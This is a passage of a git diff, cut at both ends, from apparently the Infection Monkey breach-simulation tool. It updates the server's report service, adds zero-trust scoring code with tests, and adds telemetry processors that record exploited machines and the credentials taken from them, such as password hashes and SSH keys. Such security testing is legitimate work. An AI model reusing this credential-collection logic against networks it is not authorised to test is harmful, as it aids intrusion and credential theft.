key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key', + 'origin': origin} not in creds] creds.extend(ssh_keys) return creds @@ -218,7 +228,7 @@ class ReportService: """ creds = [] for telem in mongo.db.telemetry.find( - {'telem_type': 'system_info_collection', 'data.Azure': {'$exists': True}}, + {'telem_category': 'system_info', 'data.Azure': {'$exists': True}}, {'data.Azure': 1, 'monkey_guid': 1} ): azure_users = telem['data']['Azure']['usernames'] @@ -254,6 +264,7 @@ class ReportService: else: processed_exploit['type'] = 'hash' return processed_exploit + return processed_exploit @staticmethod def process_smb_exploit(exploit): @@ -284,9 +295,9 @@ class ReportService: return processed_exploit @staticmethod - def process_rdp_exploit(exploit): + def process_vsftpd_exploit(exploit): processed_exploit = ReportService.process_general_creds_exploit(exploit) - processed_exploit['type'] = 'rdp' + processed_exploit['type'] = 'vsftp' return processed_exploit @staticmethod @@ -347,7 +358,6 @@ class ReportService: 'SmbExploiter': ReportService.process_smb_exploit, 'WmiExploiter': ReportService.process_wmi_exploit, 'SSHExploiter': ReportService.process_ssh_exploit, - 'RdpExploiter': ReportService.process_rdp_exploit, 'SambaCryExploiter': ReportService.process_sambacry_exploit, 'ElasticGroovyExploiter': ReportService.process_elastic_exploit, 'Ms08_067_Exploiter': ReportService.process_conficker_exploit, @@ -355,15 +365,21 @@ class ReportService: 'Struts2Exploiter': ReportService.process_struts2_exploit, 'WebLogicExploiter': ReportService.process_weblogic_exploit, 'HadoopExploiter': ReportService.process_hadoop_exploit, - 'MSSQLExploiter': ReportService.process_mssql_exploit + 'MSSQLExploiter': ReportService.process_mssql_exploit, + 'VSFTPDExploiter': ReportService.process_vsftpd_exploit } return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit) @staticmethod def get_exploits(): + query = [{'$match': {'telem_category': 'exploit', 'data.result': True}}, + {'$group': {'_id': {'ip_address': '$data.machine.ip_addr'}, + 'data': {'$first': '$$ROOT'}, + }}, + {"$replaceRoot": {"newRoot": "$data"}}] exploits = [] - for exploit in mongo.db.telemetry.find({'telem_type': 'exploit', 'data.result': True}): + for exploit in mongo.db.telemetry.aggregate(query): new_exploit = ReportService.process_exploit(exploit) if new_exploit not in exploits: exploits.append(new_exploit) @@ -372,7 +388,7 @@ class ReportService: @staticmethod def get_monkey_subnets(monkey_guid): network_info = mongo.db.telemetry.find_one( - {'telem_type': 'system_info_collection', 'monkey_guid': monkey_guid}, + {'telem_category': 'system_info', 'monkey_guid': monkey_guid}, {'data.network_info.networks': 1} ) if network_info is None: @@ -407,23 +423,6 @@ class ReportService: return issues - @staticmethod - def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet): - """ - Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet. - :param ip_addresses: List of IP addresses to test. - :param source_subnet: Subnet to want an IP to not be in. - :param target_subnet: Subnet we want an IP to be in. - :return: - """ - for ip_address in ip_addresses: - if target_subnet.is_in_range(ip_address): - return None - for ip_address in ip_addresses: - if source_subnet.is_in_range(ip_address): - return ip_address - return None - @staticmethod def get_cross_segment_issues_of_single_machine(source_subnet_range, target_subnet_range): """ @@ -486,9 +485,9 @@ class ReportService: target_ip = scan['data']['machine']['ip_addr'] if target_subnet_range.is_in_range(text_type(target_ip)): monkey = NodeService.get_monkey_by_guid(scan['monkey_guid']) - cross_segment_ip = ReportService.get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], - source_subnet_range, - target_subnet_range) + cross_segment_ip = get_ip_in_src_and_not_in_dst(monkey['ip_addresses'], + source_subnet_range, + target_subnet_range) if cross_segment_ip is not None: cross_segment_issues.append( @@ -530,13 +529,13 @@ class ReportService: @staticmethod def get_cross_segment_issues(): - scans = mongo.db.telemetry.find({'telem_type': 'scan'}, + scans = mongo.db.telemetry.find({'telem_category': 'scan'}, {'monkey_guid': 1, 'data.machine.ip_addr': 1, 'data.machine.services': 1}) cross_segment_issues = [] # For now the feature is limited to 1 group. - subnet_groups = [ConfigService.get_config_value(['basic_network', 'network_analysis', 'inaccessible_subnets'])] + subnet_groups = get_config_network_segments_as_subnet_groups() for subnet_group in subnet_groups: cross_segment_issues += ReportService.get_cross_segment_issues_per_subnet_group(scans, subnet_group) @@ -644,6 +643,8 @@ class ReportService: issues_byte_array[ReportService.ISSUES_DICT.ELASTIC.value] = True elif issue['type'] == 'sambacry': issues_byte_array[ReportService.ISSUES_DICT.SAMBACRY.value] = True + elif issue['type'] == 'vsftp': + issues_byte_array[ReportService.ISSUES_DICT.VSFTPD.value] = True elif issue['type'] == 'shellshock': issues_byte_array[ReportService.ISSUES_DICT.SHELLSHOCK.value] = True elif issue['type'] == 'conficker': @@ -702,8 +703,10 @@ class ReportService: config_users = ReportService.get_config_users() config_passwords = ReportService.get_config_passwords() cross_segment_issues = ReportService.get_cross_segment_issues() - monkey_latest_modify_time = list(NodeService.get_latest_modified_monkey())[0]['modifytime'] + monkey_latest_modify_time = Monkey.get_latest_modifytime() + scanned_nodes = ReportService.get_scanned() + exploited_nodes = ReportService.get_exploited() report = \ { 'overview': @@ -722,8 +725,8 @@ class ReportService: }, 'glance': { - 'scanned': ReportService.get_scanned(), - 'exploited': ReportService.get_exploited(), + 'scanned': scanned_nodes, + 'exploited': exploited_nodes, 'stolen_creds': ReportService.get_stolen_creds(), 'azure_passwords': ReportService.get_azure_creds(), 'ssh_keys': ReportService.get_ssh_keys(), @@ -756,7 +759,6 @@ class ReportService: report_as_json = json_util.dumps(report_dict).replace('.', ',,,') return json_util.loads(report_as_json) - @staticmethod def is_latest_report_exists(): """ @@ -767,7 +769,7 @@ class ReportService: if latest_report_doc: report_latest_modifytime = latest_report_doc['meta']['latest_monkey_modifytime'] - latest_monkey_modifytime = NodeService.get_latest_modified_monkey()[0]['modifytime'] + latest_monkey_modifytime = Monkey.get_latest_modifytime() return report_latest_modifytime == latest_monkey_modifytime return False @@ -785,7 +787,7 @@ class ReportService: def get_report(): if ReportService.is_latest_report_exists(): return ReportService.decode_dot_char_before_mongo_insert(mongo.db.report.find_one()) - return ReportService.generate_report() + return safe_generate_regular_report() @staticmethod def did_exploit_type_succeed(exploit_type): diff --git a/monkey/monkey_island/cc/report_exporter_manager.py b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py similarity index 73% rename from monkey/monkey_island/cc/report_exporter_manager.py rename to monkey/monkey_island/cc/services/reporting/report_exporter_manager.py index 5e51a43e1..c934618db 100644 --- a/monkey/monkey_island/cc/report_exporter_manager.py +++ b/monkey/monkey_island/cc/services/reporting/report_exporter_manager.py @@ -27,9 +27,9 @@ class ReportExporterManager(object): self._exporters_set.add(exporter) def export(self, report): - try: - for exporter in self._exporters_set: - logger.debug("Trying to export using " + repr(exporter)) + for exporter in self._exporters_set: + logger.debug("Trying to export using " + repr(exporter)) + try: exporter().handle_report(report) - except Exception as e: - logger.exception('Failed to export report, error: ' + e.message) + except Exception as e: + logger.exception('Failed to export report, error: ' + e.message) diff --git a/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py new file mode 100644 index 000000000..9025ff68f --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/report_generation_synchronisation.py @@ -0,0 +1,52 @@ +import logging +import threading + +logger = logging.getLogger(__name__) + +# These are pseudo-singletons - global Locks. These locks will allow only one thread to generate a report at a time. +# Report generation can be quite slow if there is a lot of data, and the UI queries the Root service often; without +# the locks, these requests would accumulate, overload the server, eventually causing it to crash. +logger.debug("Initializing report generation locks.") +__report_generating_lock = threading.Semaphore() +__attack_report_generating_lock = threading.Semaphore() +__regular_report_generating_lock = threading.Semaphore() + + +def safe_generate_reports(): + # Entering the critical section; Wait until report generation is available. + __report_generating_lock.acquire() + report = safe_generate_regular_report() + attack_report = safe_generate_attack_report() + # Leaving the critical section. + __report_generating_lock.release() + return report, attack_report + + +def safe_generate_regular_report(): + # Local import to avoid circular imports + from monkey_island.cc.services.reporting.report import ReportService + __regular_report_generating_lock.acquire() + report = ReportService.generate_report() + __regular_report_generating_lock.release() + return report + + +def safe_generate_attack_report(): + # Local import to avoid circular imports + from monkey_island.cc.services.attack.attack_report import AttackReportService + __attack_report_generating_lock.acquire() + attack_report = AttackReportService.generate_new_report() + __attack_report_generating_lock.release() + return attack_report + + +def is_report_being_generated(): + # From https://docs.python.org/2/library/threading.html#threading.Semaphore.acquire: + # When invoked with blocking set to false, do not block. + # If a call without an argument would block, return false immediately; + # otherwise, do the same thing as when called without arguments, and return true. + is_report_being_generated_right_now = not __report_generating_lock.acquire(blocking=False) + if not is_report_being_generated_right_now: + # We're not using the critical resource; we just checked its state. + __report_generating_lock.release() + return is_report_being_generated_right_now diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py new file mode 100644 index 000000000..f934f50ab --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -0,0 +1,69 @@ +import uuid + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.reporting.pth_report import PTHReportService +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +class TestPTHReportServiceGenerateMapNodes(IslandTestCase): + def test_generate_map_nodes(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + self.assertEqual(PTHReportService.generate_map_nodes(), []) + + windows_monkey_with_services = Monkey( + guid=str(uuid.uuid4()), + hostname="A_Windows_PC_1", + critical_services=["aCriticalService", "Domain Controller"], + ip_addresses=["1.1.1.1", "2.2.2.2"], + description="windows 10" + ) + windows_monkey_with_services.save() + + windows_monkey_with_no_services = Monkey( + guid=str(uuid.uuid4()), + hostname="A_Windows_PC_2", + critical_services=[], + ip_addresses=["3.3.3.3"], + description="windows 10" + ) + windows_monkey_with_no_services.save() + + linux_monkey = Monkey( + guid=str(uuid.uuid4()), + hostname="A_Linux_PC", + ip_addresses=["4.4.4.4"], + description="linux ubuntu" + ) + linux_monkey.save() + + map_nodes = PTHReportService.generate_map_nodes() + + self.assertEquals(2, len(map_nodes)) + + def test_generate_map_nodes_parsing(self): + self.fail_if_not_testing_env() + self.clean_monkey_db() + + monkey_id = str(uuid.uuid4()) + hostname = "A_Windows_PC_1" + windows_monkey_with_services = Monkey( + guid=monkey_id, + hostname=hostname, + critical_services=["aCriticalService", "Domain Controller"], + ip_addresses=["1.1.1.1"], + description="windows 10" + ) + windows_monkey_with_services.save() + + map_nodes = PTHReportService.generate_map_nodes() + + self.assertEquals(map_nodes[0]["id"], monkey_id) + self.assertEquals(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1") + self.assertEquals(map_nodes[0]["group"], "critical") + self.assertEquals(len(map_nodes[0]["services"]), 2) + self.assertEquals(map_nodes[0]["hostname"], hostname) + + + diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py new file mode 100644 index 000000000..46b4fefd7 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py @@ -0,0 +1,285 @@ +from monkey_island.cc.services.reporting.zero_trust_service import ZeroTrustService + +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding +from monkey_island.cc.testing.IslandTestCase import IslandTestCase + + +def save_example_findings(): + # arrange + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 1 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED, []) # devices passed = 2 + Finding.save_finding(TEST_ENDPOINT_SECURITY_EXISTS, STATUS_FAILED, []) # devices failed = 1 + # devices unexecuted = 1 + # people verify = 1 + # networks verify = 1 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # people verify = 2 + # networks verify = 2 + Finding.save_finding(TEST_SCHEDULED_EXECUTION, STATUS_VERIFY, []) + # data failed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 3 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 4 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data failed 5 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_FAILED, []) + # data verify 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data verify 2 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_VERIFY, []) + # data passed 1 + Finding.save_finding(TEST_DATA_ENDPOINT_HTTP, STATUS_PASSED, []) + + +class TestZeroTrustService(IslandTestCase): + def test_get_pillars_grades(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + save_example_findings() + + expected = [ + { + STATUS_FAILED: 5, + STATUS_VERIFY: 2, + STATUS_PASSED: 1, + STATUS_UNEXECUTED: 1, + "pillar": "Data" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 1, + "pillar": "People" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 2, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 4, + "pillar": "Networks" + }, + { + STATUS_FAILED: 1, + STATUS_VERIFY: 0, + STATUS_PASSED: 2, + STATUS_UNEXECUTED: 1, + "pillar": "Devices" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, + "pillar": "Workloads" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 3, + "pillar": "Visibility & Analytics" + }, + { + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0, + "pillar": "Automation & Orchestration" + } + ] + + result = ZeroTrustService.get_pillars_grades() + + self.assertEquals(result, expected) + + def test_get_principles_status(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.maxDiff = None + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: [], + DATA: [ + { + "principle": PRINCIPLES[PRINCIPLE_DATA_TRANSIT], + "status": STATUS_FAILED, + "tests": [ + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_HTTP][TEST_EXPLANATION_KEY] + }, + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_DATA_ENDPOINT_ELASTIC][TEST_EXPLANATION_KEY] + }, + ] + } + ], + DEVICES: [ + { + "principle": PRINCIPLES[PRINCIPLE_ENDPOINT_SECURITY], + "status": STATUS_FAILED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MACHINE_EXPLOITED][TEST_EXPLANATION_KEY] + }, + { + "status": STATUS_FAILED, + "test": TESTS_MAP[TEST_ENDPOINT_SECURITY_EXISTS][TEST_EXPLANATION_KEY] + }, + ] + } + ], + NETWORKS: [ + { + "principle": PRINCIPLES[PRINCIPLE_SEGMENTATION], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_SEGMENTATION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, + "tests": [ + { + "status": STATUS_VERIFY, + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, + ], + PEOPLE: [ + { + "principle": PRINCIPLES[PRINCIPLE_USER_BEHAVIOUR], + "status": STATUS_VERIFY, + "tests": [ + { + "status": STATUS_VERIFY, + "test": TESTS_MAP[TEST_SCHEDULED_EXECUTION][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + } + ], + VISIBILITY_ANALYTICS: [ + { + "principle": PRINCIPLES[PRINCIPLE_USERS_MAC_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_COMMUNICATE_AS_NEW_USER][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_ANALYZE_NETWORK_TRAFFIC], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_MALICIOUS_ACTIVITY_TIMELINE][TEST_EXPLANATION_KEY] + } + ] + }, + { + "principle": PRINCIPLES[PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES], + "status": STATUS_UNEXECUTED, + "tests": [ + { + "status": STATUS_UNEXECUTED, + "test": TESTS_MAP[TEST_TUNNELING][TEST_EXPLANATION_KEY] + } + ] + }, + ], + WORKLOADS: [] + } + + result = ZeroTrustService.get_principles_status() + self.assertEquals(result, expected) + + def test_get_pillars_to_statuses(self): + self.fail_if_not_testing_env() + self.clean_finding_db() + + self.maxDiff = None + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_UNEXECUTED, + NETWORKS: STATUS_UNEXECUTED, + PEOPLE: STATUS_UNEXECUTED, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_UNEXECUTED + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) + + save_example_findings() + + expected = { + AUTOMATION_ORCHESTRATION: STATUS_UNEXECUTED, + DEVICES: STATUS_FAILED, + NETWORKS: STATUS_VERIFY, + PEOPLE: STATUS_VERIFY, + VISIBILITY_ANALYTICS: STATUS_UNEXECUTED, + WORKLOADS: STATUS_UNEXECUTED, + DATA: STATUS_FAILED + } + + self.assertEquals(ZeroTrustService.get_pillars_to_statuses(), expected) diff --git a/monkey/monkey_island/cc/services/reporting/zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py new file mode 100644 index 000000000..f4b23f095 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/zero_trust_service.py @@ -0,0 +1,150 @@ +import json +from common.data.zero_trust_consts import * +from monkey_island.cc.models.zero_trust.finding import Finding + + +class ZeroTrustService(object): + @staticmethod + def get_pillars_grades(): + pillars_grades = [] + for pillar in PILLARS: + pillars_grades.append(ZeroTrustService.__get_pillar_grade(pillar)) + return pillars_grades + + @staticmethod + def __get_pillar_grade(pillar): + all_findings = Finding.objects() + pillar_grade = { + "pillar": pillar, + STATUS_FAILED: 0, + STATUS_VERIFY: 0, + STATUS_PASSED: 0, + STATUS_UNEXECUTED: 0 + } + + tests_of_this_pillar = PILLARS_TO_TESTS[pillar] + + test_unexecuted = {} + for test in tests_of_this_pillar: + test_unexecuted[test] = True + + for finding in all_findings: + test_unexecuted[finding.test] = False + test_info = TESTS_MAP[finding.test] + if pillar in test_info[PILLARS_KEY]: + pillar_grade[finding.status] += 1 + + pillar_grade[STATUS_UNEXECUTED] = sum(1 for condition in test_unexecuted.values() if condition) + + return pillar_grade + + @staticmethod + def get_principles_status(): + all_principles_statuses = {} + + # init with empty lists + for pillar in PILLARS: + all_principles_statuses[pillar] = [] + + for principle, principle_tests in PRINCIPLES_TO_TESTS.items(): + for pillar in PRINCIPLES_TO_PILLARS[principle]: + all_principles_statuses[pillar].append( + { + "principle": PRINCIPLES[principle], + "tests": ZeroTrustService.__get_tests_status(principle_tests), + "status": ZeroTrustService.__get_principle_status(principle_tests) + } + ) + + return all_principles_statuses + + @staticmethod + def __get_principle_status(principle_tests): + worst_status = STATUS_UNEXECUTED + all_statuses = set() + for test in principle_tests: + all_statuses |= set(Finding.objects(test=test).distinct("status")) + + for status in all_statuses: + if ORDERED_TEST_STATUSES.index(status) < ORDERED_TEST_STATUSES.index(worst_status): + worst_status = status + + return worst_status + + @staticmethod + def __get_tests_status(principle_tests): + results = [] + for test in principle_tests: + test_findings = Finding.objects(test=test) + results.append( + { + "test": TESTS_MAP[test][TEST_EXPLANATION_KEY], + "status": ZeroTrustService.__get_lcd_worst_status_for_test(test_findings) + } + ) + return results + + @staticmethod + def __get_lcd_worst_status_for_test(all_findings_for_test): + """ + :param all_findings_for_test: All findings of a specific test (get this using Finding.objects(test={A_TEST})) + :return: the "worst" (i.e. most severe) status out of the given findings. + lcd stands for lowest common denominator. + """ + current_worst_status = STATUS_UNEXECUTED + for finding in all_findings_for_test: + if ORDERED_TEST_STATUSES.index(finding.status) < ORDERED_TEST_STATUSES.index(current_worst_status): + current_worst_status = finding.status + + return current_worst_status + + @staticmethod + def get_all_findings(): + all_findings = Finding.objects() + enriched_findings = [ZeroTrustService.__get_enriched_finding(f) for f in all_findings] + return enriched_findings + + @staticmethod + def __get_enriched_finding(finding): + test_info = TESTS_MAP[finding.test] + enriched_finding = { + "test": test_info[FINDING_EXPLANATION_BY_STATUS_KEY][finding.status], + "test_key": finding.test, + "pillars": test_info[PILLARS_KEY], + "status": finding.status, + "events": ZeroTrustService.__get_events_as_dict(finding.events) + } + return enriched_finding + + @staticmethod + def __get_events_as_dict(events): + return [json.loads(event.to_json()) for event in events] + + @staticmethod + def get_statuses_to_pillars(): + results = { + STATUS_FAILED: [], + STATUS_VERIFY: [], + STATUS_PASSED: [], + STATUS_UNEXECUTED: [] + } + for pillar in PILLARS: + results[ZeroTrustService.__get_status_of_single_pillar(pillar)].append(pillar) + + return results + + @staticmethod + def get_pillars_to_statuses(): + results = {} + for pillar in PILLARS: + results[pillar] = ZeroTrustService.__get_status_of_single_pillar(pillar) + + return results + + @staticmethod + def __get_status_of_single_pillar(pillar): + grade = ZeroTrustService.__get_pillar_grade(pillar) + for status in ORDERED_TEST_STATUSES: + if grade[status] > 0: + return status + return STATUS_UNEXECUTED diff --git a/monkey/monkey_island/cc/services/telemetry/__init__.py b/monkey/monkey_island/cc/services/telemetry/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/monkey/monkey_island/cc/services/telemetry/processing/__init__.py b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py new file mode 100644 index 000000000..d90143c09 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/__init__.py @@ -0,0 +1,7 @@ +# import all implemented hooks, for brevity of hooks.py file +from tunnel import process_tunnel_telemetry +from state import process_state_telemetry +from exploit import process_exploit_telemetry +from scan import process_scan_telemetry +from system_info import process_system_info_telemetry +from post_breach import process_post_breach_telemetry diff --git a/monkey/monkey_island/cc/services/telemetry/processing/exploit.py b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py new file mode 100644 index 000000000..cf6e9b544 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/exploit.py @@ -0,0 +1,58 @@ +import copy + +import dateutil + +from monkey_island.cc.database import mongo +from monkey_island.cc.encryptor import encryptor +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.edge import EdgeService +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.machine_exploited import test_machine_exploited + + +def process_exploit_telemetry(telemetry_json): + encrypt_exploit_creds(telemetry_json) + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + update_edge_info_with_new_exploit(edge, telemetry_json) + update_node_credentials_from_successful_attempts(edge, telemetry_json) + + test_machine_exploited( + current_monkey=Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']), + exploit_successful=telemetry_json['data']['result'], + exploiter=telemetry_json['data']['exploiter'], + target_ip=telemetry_json['data']['machine']['ip_addr'], + timestamp=telemetry_json['timestamp']) + + +def update_node_credentials_from_successful_attempts(edge, telemetry_json): + for attempt in telemetry_json['data']['attempts']: + if attempt['result']: + found_creds = {'user': attempt['user']} + for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']: + if len(attempt[field]) != 0: + found_creds[field] = attempt[field] + NodeService.add_credentials_to_node(edge['to'], found_creds) + + +def update_edge_info_with_new_exploit(edge, telemetry_json): + telemetry_json['data']['info']['started'] = dateutil.parser.parse(telemetry_json['data']['info']['started']) + telemetry_json['data']['info']['finished'] = dateutil.parser.parse(telemetry_json['data']['info']['finished']) + new_exploit = copy.deepcopy(telemetry_json['data']) + new_exploit.pop('machine') + new_exploit['timestamp'] = telemetry_json['timestamp'] + mongo.db.edge.update( + {'_id': edge['_id']}, + {'$push': {'exploits': new_exploit}} + ) + if new_exploit['result']: + EdgeService.set_edge_exploited(edge) + + +def encrypt_exploit_creds(telemetry_json): + attempts = telemetry_json['data']['attempts'] + for i in range(len(attempts)): + for field in ['password', 'lm_hash', 'ntlm_hash']: + credential = attempts[i][field] + if len(credential) > 0: + attempts[i][field] = encryptor.enc(credential.encode('utf-8')) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py new file mode 100644 index 000000000..c64849905 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -0,0 +1,27 @@ +from monkey_island.cc.database import mongo +from common.data.post_breach_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication + + +def process_communicate_as_new_user_telemetry(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + message = telemetry_json['data']['result'][0] + success = telemetry_json['data']['result'][1] + test_new_user_communication(current_monkey, success, message) + + +POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, +} + + +def process_post_breach_telemetry(telemetry_json): + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'pba_results': telemetry_json['data']}}) + + post_breach_action_name = telemetry_json["data"]["name"] + if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py new file mode 100644 index 000000000..154096f79 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -0,0 +1,29 @@ +import logging + +from monkey_island.cc.services.telemetry.processing import * + +logger = logging.getLogger(__name__) + +TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = \ + { + 'tunnel': process_tunnel_telemetry, + 'state': process_state_telemetry, + 'exploit': process_exploit_telemetry, + 'scan': process_scan_telemetry, + 'system_info': process_system_info_telemetry, + 'post_breach': process_post_breach_telemetry, + # `lambda *args, **kwargs: None` is a no-op. + 'trace': lambda *args, **kwargs: None, + 'attack': lambda *args, **kwargs: None, + } + + +def process_telemetry(telemetry_json): + try: + telem_category = telemetry_json.get('telem_category') + if telem_category in TELEMETRY_CATEGORY_TO_PROCESSING_FUNC: + TELEMETRY_CATEGORY_TO_PROCESSING_FUNC[telem_category](telemetry_json) + else: + logger.info('Got unknown type of telemetry: %s' % telem_category) + except Exception as ex: + logger.error("Exception caught while processing telemetry. Info: {}".format(ex.message), exc_info=True) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/scan.py b/monkey/monkey_island/cc/services/telemetry/processing/scan.py new file mode 100644 index 000000000..bea451170 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/processing/scan.py @@ -0,0 +1,44 @@ +import copy + +from monkey_island.cc.database import mongo +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.processing.utils import get_edge_by_scan_or_exploit_telemetry +from monkey_island.cc.services.telemetry.zero_trust_tests.data_endpoints import test_open_data_endpoints +from monkey_island.cc.services.telemetry.zero_trust_tests.segmentation import test_segmentation_violation + + +def process_scan_telemetry(telemetry_json): + update_edges_and_nodes_based_on_scan_telemetry(telemetry_json) + test_open_data_endpoints(telemetry_json) + + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + target_ip = telemetry_json['data']['machine']['ip_addr'] + test_segmentation_violation(current_monkey, target_ip) + + +def update_edges_and_nodes_based_on_scan_telemetry(telemetry_json): + edge = get_edge_by_scan_or_exploit_telemetry(telemetry_json) + data = copy.deepcopy(telemetry_json['data']['machine']) + ip_address = data.pop("ip_addr") + domain_name = data.pop("domain_name") + new_scan = \ + { + "timestamp": telemetry_json["timestamp"], + "data": data + } + mongo.db.edge.update( + {"_id": edge["_id"]}, + {"$push": {"scans": new_scan}, + "$set": {"ip_address": ip_address, 'domain_name': domain_name}} + ) + node = 